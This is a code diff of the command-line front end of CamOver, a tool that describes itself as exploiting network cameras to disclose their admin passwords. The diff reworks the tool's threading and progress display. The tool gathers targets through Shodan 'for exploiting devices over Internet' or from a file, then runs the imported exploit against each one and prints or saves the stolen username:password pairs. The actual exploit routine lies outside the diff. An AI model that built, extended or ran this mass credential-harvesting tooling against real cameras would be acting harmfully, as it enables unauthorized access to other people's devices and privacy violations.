| skipped 23 lines |
24 | 24 | | # SOFTWARE. |
25 | 25 | | # |
26 | 26 | | |
| 27 | + | import os |
27 | 28 | | import argparse |
28 | 29 | | import threading |
29 | 30 | | |
30 | 31 | | from shodan import Shodan |
| 32 | + | from time import sleep as thread_delay |
31 | 33 | | |
32 | 34 | | from .__main__ import CamOver |
33 | 35 | | from .badges import Badges |
34 | 36 | | |
35 | 37 | | |
36 | 38 | | class CamOverCLI(CamOver, Badges): |
| 39 | + | thread_delay = 0.1 |
| 40 | + | |
37 | 41 | | description = "CamOver is a camera exploitation tool that allows to disclosure network camera admin password." |
38 | 42 | | parser = argparse.ArgumentParser(description=description) |
39 | 43 | | parser.add_argument('-t', '--threads', dest='threads', action='store_true', help='Use threads for fastest work.') |
| skipped 3 lines |
43 | 47 | | parser.add_argument('--api', dest='api', help='Shodan API key for exploiting devices over Internet.') |
44 | 48 | | args = parser.parse_args() |
45 | 49 | | |
46 | | - | def hack(self, host): |
47 | | - | self.print_process(f"({host}) - connecting to camera...") |
48 | | - | response = self.connect(host) |
49 | | - | |
50 | | - | if response is not None: |
51 | | - | self.print_process(f"({host}) - accessing camera config...") |
52 | | - | password = self.exploit(response) |
53 | | - | |
54 | | - | if password is not None: |
55 | | - | self.print_process(f"({host}) - extracting admin password...") |
56 | | - | return f"({host}) - password: {password}" |
57 | | - | self.print_error(f"({host}) - config access denied!") |
58 | | - | return None |
59 | | - | self.print_error(f"({host}) - connection rejected!") |
60 | | - | return None |
| 50 | + | def thread(self, address): |
| 51 | + | result = self.exploit(address) |
61 | 52 | | |
62 | | - | def thread(self, number, host): |
63 | | - | self.print_process(f"Initializing thread #{str(number)}...") |
64 | | - | result = self.hack(host) |
65 | 53 | | if result: |
| 54 | + | result = f"({address}) - {result[0]}:{result[1]}" |
66 | 55 | | if not self.args.output: |
67 | 56 | | self.print_success(result) |
68 | 57 | | else: |
69 | 58 | | with open(self.args.output, 'a') as f: |
70 | 59 | | f.write(f"{result}\n") |
71 | | - | self.print_information(f"Thread #{str(number)} completed.") |
72 | 60 | | |
73 | 61 | | def start(self): |
| 62 | + | line = "/-\|" |
| 63 | + | counter = 0 |
| 64 | + | |
| 65 | + | if self.args.threads: |
| 66 | + | threads = list() |
| 67 | + | |
74 | 68 | | if self.args.api: |
75 | 69 | | self.print_process("Authorizing Shodan by given API key...") |
76 | 70 | | try: |
| skipped 6 lines |
83 | 77 | | self.print_error("Failed to authorize Shodan!") |
84 | 78 | | return |
85 | 79 | | self.print_success("Authorization successfully completed!") |
86 | | - | counter = 0 |
| 80 | + | |
87 | 81 | | for address in addresses: |
| 82 | + | if counter >= len(line): |
| 83 | + | counter = 0 |
| 84 | + | self.print_process(f"Exploiting... ({address}) {line[counter]}") |
| 85 | + | |
88 | 86 | | if not self.args.threads: |
89 | | - | result = hack(address) |
90 | | - | if result: |
91 | | - | if not self.args.output: |
92 | | - | self.print_success(result) |
93 | | - | else: |
94 | | - | with open(self.args.output, 'a') as f: |
95 | | - | f.write(f"{result}\n") |
| 87 | + | self.thread(address) |
96 | 88 | | else: |
97 | | - | process = threading.Thread(target=self.thread, args=[counter, address]) |
98 | | - | process.start() |
| 89 | + | thread_delay(self.thread_delay) |
| 90 | + | thread = threading.Thread(target=self.thread, args=[address]) |
| 91 | + | |
| 92 | + | thread.start() |
| 93 | + | threads.append(thread) |
99 | 94 | | counter += 1 |
100 | | - | if self.args.input: |
| 95 | + | |
| 96 | + | elif self.args.input: |
| 97 | + | if not os.path.exists(self.args.input): |
| 98 | + | self.print_error(f"Input file: {self.args.input}: does not exist!") |
| 99 | + | return |
| 100 | + | |
101 | 101 | | with open(self.args.input, 'r') as f: |
102 | | - | lines = f.read().strip().split('\n') |
103 | | - | line_number = 0 |
104 | | - | for line in lines: |
| 102 | + | addresses = f.read().strip().split('\n') |
| 103 | + | |
| 104 | + | for address in addresses: |
| 105 | + | if counter >= len(line): |
| 106 | + | counter = 0 |
| 107 | + | self.print_process(f"Exploiting... ({address}) {line[counter]}", end='') |
| 108 | + | |
105 | 109 | | if not self.args.threads: |
106 | | - | result = self.hack(line) |
107 | | - | if result: |
108 | | - | if not self.args.output: |
109 | | - | self.print_success(result) |
110 | | - | else: |
111 | | - | with open(self.args.output, 'a') as f: |
112 | | - | f.write(f"{result}\n") |
| 110 | + | self.thread(address) |
113 | 111 | | else: |
114 | | - | process = threading.Thread(target=self.thread, args=[line_number, line]) |
115 | | - | process.start() |
116 | | - | line_number += 1 |
| 112 | + | thread_delay(self.thread_delay) |
| 113 | + | thread = threading.Thread(target=self.thread, args=[address]) |
| 114 | + | |
| 115 | + | thread.start() |
| 116 | + | threads.append(thread) |
| 117 | + | counter += 1 |
| 118 | + | |
117 | 119 | | elif self.args.address: |
118 | | - | result = self.hack(self.args.address) |
119 | | - | if result: |
120 | | - | if not self.args.output: |
121 | | - | self.print_success(result) |
122 | | - | else: |
123 | | - | with open(self.args.output, 'a') as f: |
124 | | - | f.write(f"{result}\n") |
| 120 | + | self.print_process(f"Exploiting {self.args.address}...") |
| 121 | + | self.thread(self.args.address) |
125 | 122 | | else: |
126 | 123 | | self.parser.print_help() |
| 124 | + | |
| 125 | + | if self.args.threads: |
| 126 | + | counter = 0 |
| 127 | + | |
| 128 | + | for thread in threads: |
| 129 | + | if counter >= len(line): |
| 130 | + | counter = 0 |
| 131 | + | self.print_process(f"Cleaning up... {line[counter]}", end='') |
| 132 | + | |
| 133 | + | if thread.is_alive(): |
| 134 | + | thread.join() |
| 135 | + | counter += 1 |
| 136 | + | self.print_empty(end='') |
127 | 137 | | |
128 | 138 | | def main(): |
129 | 139 | | cli = CamOverCLI() |
| skipped 2 lines |